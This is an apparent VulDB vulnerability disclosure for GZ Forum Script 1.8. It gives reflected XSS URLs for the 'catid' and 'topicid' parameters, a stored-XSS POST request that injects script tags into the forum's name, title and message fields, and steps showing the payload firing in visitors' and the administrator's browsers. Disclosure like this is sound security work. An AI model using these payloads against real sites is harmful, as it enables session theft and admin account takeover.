| 제목 | GZ Forum Script 1.8 - Reflected XSS - Stored XSS |
|---|
| 설명 | Author : skalvin aka (CraCkEr)
Date : 30/06/2023
Website : https://gzscripts.com/gz-forum-script.html
Vendor : GZ Scripts
Software : GZ Forum Script 1.8
Vuln Type: Reflected XSS - Stored XSS
Impact : Manipulate the content of the site
Release Notes:
Reflected XSS:
The attacker can send to victim a link containing a malicious URL in an email or
instant message can perform a wide variety of actions, such as stealing the victim's
session token or login credentials
Stored XSS
Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.
## Reflected XSS
Path: /preview.php
GET 'catid' parameter is vulnerable to RXSS
http://www.website/preview.php?controller=Load&action=index&catid=moztj%22%3e%3cscript%3ealert(1)%3c%2fscript%3ems3ea&down_up=a
Path: /preview.php
GET 'topicid' parameter is vulnerable to RXSS
http://www.website/preview.php?controller=Load&action=topic&topicid=1wgaff%22%3e%3cscript%3ealert(1)%3c%2fscript%3exdhk2
## Stored XSS
-----------------------------------------------
POST /GZForumScript/preview.php?controller=Load&action=start_new_topic HTTP/1.1
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="free_name"
<script>alert(1)</script>
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="topic"
<script>alert(1)</script>
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="topic_message"
<script>alert(1)</script>
-----------------------------39829578812616571248381709325--
-----------------------------------------------
POST parameter 'free_name' is vulnerable to XSS
POST parameter 'topic' is vulnerable to XSS
POST parameter 'topic_message' is vulnerable to XSS
## Steps to Reproduce:
1. As a [Guest User] Click on [New Topic] to create a "New Topic" on this Path (http://website/preview.php?controller=Load&action=start_new_topic)
2. Inject your [XSS Payload] in "Name"
3. Inject your [XSS Payload] in "Topic Title "
4. Inject your [XSS Payload] in "Topic Message"
5. Submit
4. XSS Fired on Visitor Browser's when they Visit the Topic you Infect your [XSS Payload] on
5. XSS Fired on ADMIN Browser when he visit [Dashboard] in Administration Panel on this Path (https://website/GzAdmin/dashboard)
6. XSS Fired on ADMIN Browser when he visit [Topic] & [All Topics] to check [New Topics] on this Path (https://website/GzTopic/index)
[-] Done |
|---|
| 사용자 | skalvin (UID 49463) |
|---|
| 제출 | 2023. 06. 30. AM 12:58 (3 연령 ago) |
|---|
| 모더레이션 | 2023. 07. 08. PM 01:48 (9 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 233348 [GZ Scripts GZ Forum Script 1.8 /preview.php catid/topicid/topic/topic_message/free_name 크로스 사이트 스크립팅] |
|---|
| 포인트들 | 17 |
|---|